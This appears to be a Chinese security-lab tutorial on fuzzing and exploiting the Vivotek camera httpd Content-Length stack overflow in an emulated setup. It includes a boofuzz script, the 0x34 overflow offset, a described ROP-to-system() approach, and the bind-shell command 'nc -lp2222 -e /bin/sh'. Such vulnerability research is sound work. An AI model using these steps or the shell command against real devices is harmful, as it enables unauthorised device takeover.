本環(huán)境是蛇矛實驗室基于"火天網(wǎng)演攻防演訓(xùn)靶場"進行搭建,通過火天網(wǎng)演中的環(huán)境構(gòu)建模塊,可以靈活的對目標(biāo)網(wǎng)絡(luò)進行設(shè)計和配置,并且可以快速進行場景搭建和復(fù)現(xiàn)驗證工作。
自 2005年國際電信聯(lián)盟正式提出“物聯(lián)網(wǎng)(IoT)”這一概念以來,物聯(lián)網(wǎng)在全球范圍內(nèi)迅速獲得認可,并成為信息產(chǎn)業(yè)革命第三次浪潮和第四次工業(yè)革命的核心支撐。同時,數(shù)以億計的設(shè)備接入物聯(lián)網(wǎng),這些設(shè)備如今已滲透到我們生活的方方面面,從家居到工廠無處不在。一方面物聯(lián)網(wǎng)設(shè)備使我們的生活更加便捷,而另一方面物聯(lián)網(wǎng)安全事件頻發(fā),全球物聯(lián)網(wǎng)安全支出不斷增加。
當(dāng)前,大量物聯(lián)網(wǎng)設(shè)備及云服務(wù)端直接暴露于互聯(lián)網(wǎng),這些設(shè)備和云服務(wù)端存在的漏洞一旦被利用,可導(dǎo)致設(shè)備被控制、用戶隱私泄露、云服務(wù)端數(shù)據(jù)被竊取等安全風(fēng)險,甚至?xí)A(chǔ)通信網(wǎng)絡(luò)造成嚴(yán)重影響。從2018年全球統(tǒng)計數(shù)據(jù)來看,路由器、視頻監(jiān)控設(shè)備暴漏數(shù)量占比較高。
路由器暴漏數(shù)量超過3000萬臺,視頻監(jiān)控設(shè)備暴露數(shù)量超過1700萬臺,并且這些設(shè)備往后幾年會一年比一年多,物聯(lián)網(wǎng)安全的事件也會越來越多。由此,物聯(lián)網(wǎng)安全行業(yè)需要大力發(fā)展,物聯(lián)網(wǎng)安全人才的培養(yǎng)也刻不容緩。
蛇矛實驗室在后續(xù)將利用火天網(wǎng)境系列靶場中的相關(guān)目標(biāo)仿真和環(huán)境構(gòu)建的特性,將持續(xù)發(fā)布關(guān)于“物聯(lián)網(wǎng)安全-CVE實戰(zhàn)分析”系列的文章來幫助大家入門物聯(lián)網(wǎng)安全。
關(guān)于模糊測試
模糊測試(Fuzz Testing)是一種自動化的軟件測試技術(shù),最初是由威斯康辛大學(xué)的Barton Miller于1989年開發(fā)的,通常用于識別程序中的潛在漏洞。其核心思想是自動或半自動的生成隨機數(shù)據(jù)輸入到一個程序中,并監(jiān)視程序異常,如***,斷言 (assertion)失敗,以發(fā)現(xiàn)可能的程序錯誤,比如內(nèi)存泄漏。
模糊測試常常用于檢測軟件或計算機系統(tǒng)的安全漏洞。Boofuzz是一個基于python生成的協(xié)議Fuzz工具,它通過python語言來描述協(xié)議的格式。Boofuzz對協(xié)議的模糊測試有著良好的支持,且其代碼開源,目前被廣泛使用,但Boofuzz無法直接獲取協(xié)議相關(guān)知識,需人工定義協(xié)議模型。這一小節(jié),我們將使用Boofuzz實戰(zhàn)測試vivotek攝像頭棧溢出漏洞。
漏洞分析
下載好固件后,我們使用"binwalk 固件名"進行分析,發(fā)現(xiàn)固件并沒有加密,并且文件系統(tǒng)是squashfs格式,固件中的數(shù)據(jù)都經(jīng)過了xz壓縮。
我們使用"binwalk -Me 固件名"遞歸提取里面的文件系統(tǒng)。
里面的目錄比較多,我們可以使用”find . -name ’squashfs-root‘ “,也可以使用tree命令快速預(yù)覽文件目錄分布情況。這里我使用"tree -d -L 5"命令,遞歸查看5層以內(nèi)的目錄,然后就找到了"squashfs-root"文件目錄。
還是和前面小節(jié)的步驟相同,我們進入到文件系統(tǒng)的根目錄中,查看開機自啟"etc/init.d/rcS"文件。
開機自啟文件中,首先初始化系統(tǒng),然后使用run-parts命令遍歷執(zhí)行"/etc/rcS.d"目錄下的所有可執(zhí)行腳本。
進入"etc/rcS.d/"目錄下后發(fā)現(xiàn)執(zhí)行腳本均為軟連接文件,連接至"etc/init.d/"下的對應(yīng)文件。我們在這里看到了httpd腳本,一般情況下路由器系統(tǒng)中的httpd為web服務(wù)程序,所以這里可能是啟動httpd服務(wù)的腳本。
我們查看"/etc/init.d/httpd"文件,發(fā)現(xiàn)httpd程序為 "/usr/sbin/httpd"程序,并且執(zhí)行參數(shù)為"-c /etc/conf.d/boa -d"。確定了路由器的服務(wù)器程序,我們進行漏洞分析。
這一小節(jié)的漏洞信息以及POC已經(jīng)在[exploit-db]中詳細的展示了出來。根據(jù)這里的漏洞詳情我們知道了vivotek攝像頭漏洞是棧溢出漏洞,觸發(fā)的具體位置為"Content-Length"頭。根據(jù)以上信息,我們將httpd程序放入IDA Pro進行分析。
IDA Pro分析完畢后,我們按"shift+F12"搜索Content-Length字符串,雙擊進入其存儲變量地址。
鼠標(biāo)點擊"Content-Length"存儲變量,按“x”可以找到該變量的交叉引用。發(fā)現(xiàn)sub_17F80函數(shù)引用了該變量。進入函數(shù)進行分析
函數(shù)獲取由用戶"POST或PUT"方法請求包中的"Content-Length"頭位置并存入v33變量中。然后獲取" "的位置賦值給v34,獲取":"的位置賦值給v35變量。
隨后使用strncpy函數(shù)從":"后面+1位置的字節(jié)一直復(fù)制到“ "字符前面一字節(jié)的位置,將所有的字節(jié)復(fù)制到dest變量,dest變量為4字節(jié)的char型數(shù)組。
由于開發(fā)者沒有對“Content-Length”參數(shù)的值進行限制,導(dǎo)致攻擊者可以偽造"Content-Length"頭,寫入大量不為"x00"的垃圾數(shù)據(jù)就可以導(dǎo)致棧溢出。
知道了漏洞成因以及觸發(fā)位置,下面我們使用boofuzz進行fuzz測試,以下測試環(huán)境在ubuntu18.04中完成。
首先安裝boofuzz:
Boofuzz 官方要求 Python ≥ 3.5,并且推薦安裝方式為pip。那么我們先確保python和pip已經(jīng)安裝。
sudo apt-getinstall python3python3-pip python3-dev
Boofuzz官方建議我們在虛擬環(huán)境 (venv)中設(shè)置 boofuzz 。那么我們需要安裝boofuzz的依賴
sudo apt-get installpython3-venv build-essential
創(chuàng)建boofuzz目錄,并在其目錄下啟動虛擬環(huán)境env,使其與其他包隔離
mkdirboofuzz && cdboofuzz python3-mvenv env
這會在當(dāng)前文件夾中創(chuàng)建一個新的虛擬環(huán)境 env。這里的虛擬環(huán)境中的 Python 版本是固定的,并且可以在創(chuàng)建時選擇。與全局安裝不同,虛擬環(huán)境中的虛擬環(huán)境python別名為 Python 版本。然后我們使用下面的命令來激活虛擬環(huán)境:
sourceenv/bin/activate
激活環(huán)境后,我們終端前面的標(biāo)識多了一個"(env)",這代表我們在虛擬環(huán)境中操作。
然后安裝最新版的pip和setuptools:
pip install-U pip setuptools
最后,安裝 boofuzz:
pip installboofuzz
安裝好以后,進入python3,測試導(dǎo)入boofuzz庫不報錯即為安裝成功。
安裝好boofuzz以后,我們就可以使用boofuzz框架進行fuzz測試了。我們需要編寫一個fuzz腳本,腳本如下:
fromboofuzz import* IP = "127.0.0.1" PORT = 80 defcheck_response(target,fuzz_data_logger,session,*args,**kwargs): fuzz_data_logger.log_info("Checking for response ...") try: response = target.recv(512) except: fuzz_data_logger.log_fail("Unable to connect ...") return ifnotresponse: fuzz_data_logger.log_fail("Empty response ...") target.close() return fuzz_data_logger.log_info("Start checking ... "+response.decode()) target.close() return defmain(): session = Session( target=Target(connection=SocketConnection(IP,PORT,proto="tcp"), ), post_test_case_callbacks=[check_response], ) s_initialize(name="FUZZ") withs_block("Request-Line"): # Method s_group("Method",["POST"]) s_delim(" ",fuzzable=False) s_string("/cgi-bin/admin/upgrade.cgi ",fuzzable=False,name="URI") s_static("HTTP/1.1",name="Version") s_static(" ",name="CRLF") # Host s_static("Host") s_delim(": ",fuzzable=False) s_string("127.0.0.1",fuzzable=False,name="IP") s_static(" ") # Connection s_static("Connection") s_delim(": ",fuzzable=False) s_string("Close",fuzzable=False,name="Active") s_static(" ") # Content-Length s_static("Content-Length") s_delim(": ", fuzzable=False) s_string("65", fuzzable=True) # End s_static(" ") s_static(" ") session.connect(s_get("FUZZ")) session.fuzz() if__name__=="__main__": main()
上面的腳本***有倆個函數(shù),一個main函數(shù)(腳本入口函數(shù)),一個check_response函數(shù)(回調(diào)函數(shù))。
main函數(shù)中,首先我們創(chuàng)建一個session,session可以設(shè)置一些基礎(chǔ)屬性,我們可以使用Target設(shè)置我們要fuzz的目標(biāo)的ip地址和端口號以及協(xié)議類型(這里我們要fuzz的目標(biāo)為httpd服務(wù)器,即tcp協(xié)議)。Target還可以使用post_test_case_callbacks指定回調(diào)函數(shù)。
當(dāng)我們發(fā)送fuzz的請求包后,boofuzz需要判斷返回包的內(nèi)容來確定是否具有漏洞特點,這里就需要用到回調(diào)函數(shù)。我們可以自己編寫回調(diào)函數(shù),這里我們將回調(diào)函數(shù)指定為check_response函數(shù),回調(diào)函數(shù)的參數(shù)'fuzz_data_logger'記錄測試檢查和通過/失敗。
boofuzz數(shù)據(jù)生成的特點為一個數(shù)據(jù)報文由Primitives和Blocks組成,多個Primitives可以組成Block,Blocks之間可以相互嵌套。所以我們需要初始化一個消息請求塊,這里我設(shè)置請求塊的名稱為FUZZ,然后通過s_block設(shè)置對應(yīng)的http請求數(shù)據(jù)。然后我們可以指定對應(yīng)的字段選擇fuzz,設(shè)置Content-Length參數(shù)的值為”fuzzable=True“。使用session.connect(s_get("FUZZ"))發(fā)送請求包裹,session.fuzz()開始驅(qū)動整個fuzz過程。
下面開始測試fuzz腳本,我們先模擬運行vivotek的httpd服務(wù),訪問后發(fā)現(xiàn)服務(wù)正常。
運行我們的fuzz腳本,藍色字體的部分為腳本發(fā)送的request包數(shù)據(jù),我們發(fā)現(xiàn)Content-Length參數(shù)后面的值確實是由boofuzz產(chǎn)生的fuzz數(shù)據(jù)。這里case 1中出現(xiàn)了紅色字體的報錯,為"Empty reponse ...",也就是說沒有返回包。猜測服務(wù)器可能已經(jīng)***,切換至模擬的路由器系統(tǒng)進行查看
果然,服務(wù)器已經(jīng)***,說明我們的fuzz腳本是正確的,服務(wù)器不能正確處理Content-Length的垃圾數(shù)據(jù),導(dǎo)致服務(wù)器***。
這時,我們可以訪問localhost:26000可以觀察boofuzz web服務(wù)中這次fuzz的詳細信息。
確定了確實是有棧溢出漏洞后,我們寫一個poc測試一下棧溢出偏移
正式運行路由器httpd服務(wù),使用gdbserver進行attach,使用gdb-multiarch進行遠程調(diào)試。
我們在0x18538(strncpy函數(shù))處下斷點,然后c運行,這時發(fā)送poc,程序斷在了strncpy處。pwndbg中顯示了strncpy函數(shù)執(zhí)行時src和dest的地址。
拷貝到棧上時,0x7effeb4c處為返回地址,那么我們就算出了拷貝字符串到返回地址的偏移為0x34字節(jié)。下面我們開始寫exp
編寫exp的過程中,需要注意的點為strncpy復(fù)制時遇到"x00"停止,所以我們需要繞過"x00"找到可以用的rop gadget,然后通過已知的libc基地址找到system函數(shù)的地址運行命令。最終代碼如下
動態(tài)調(diào)試整個過程,下斷strncpy,沒拷貝前??臻g正常
strncpy拷貝完成后,我們觀察一下棧的空間分布
返回地址確實被我們覆蓋成了gadget的地址,說明我們前面的分析正確。
漏洞復(fù)現(xiàn)
啟動路由器后,運行我們的exp腳本
此時路由器系統(tǒng)中,已經(jīng)運行了"nc -lp2222 -e /bin/sh",我們使用nc連接后就可以獲得shell
使用nc連接2222端口后,隨意運行命令,命令成功執(zhí)行,本次攻擊成功。
總結(jié)
這一小節(jié),我們以vivotek攝像頭為例,簡短介紹了模糊測試框架Boofuzz,以及學(xué)習(xí)了如何利用該框架編寫腳本進行IoT設(shè)備服務(wù)進行fuzz。
審核編輯:劉清
-
路由器
+關(guān)注
關(guān)注
22文章
3868瀏覽量
118361 -
python
+關(guān)注
關(guān)注
56文章
4848瀏覽量
88959 -
IOT
+關(guān)注
關(guān)注
189文章
4352瀏覽量
205285
原文標(biāo)題:物聯(lián)網(wǎng)安全實戰(zhàn)從零開始-Vivotek的Fuzzing 棧溢出
文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
shell腳本編寫之本地腳本的編寫和執(zhí)行
腳本引擎編寫
如何使用STM32串口中斷服務(wù)函數(shù)進行接收并進行轉(zhuǎn)化為int型?
如何利用STM32通過ESP8266接入阿里云IoT平臺并進行相關(guān)溫濕度的應(yīng)用開發(fā)
HamronyOS自動化測試框架使用指南
python編寫腳本方法
如何在代碼編寫器StudioIDE開發(fā)環(huán)境中使用腳本實用程序的詳細描寫

使用傳統(tǒng)的IDE對51單片機進行邏輯編寫的基本框架程序免費下載

評論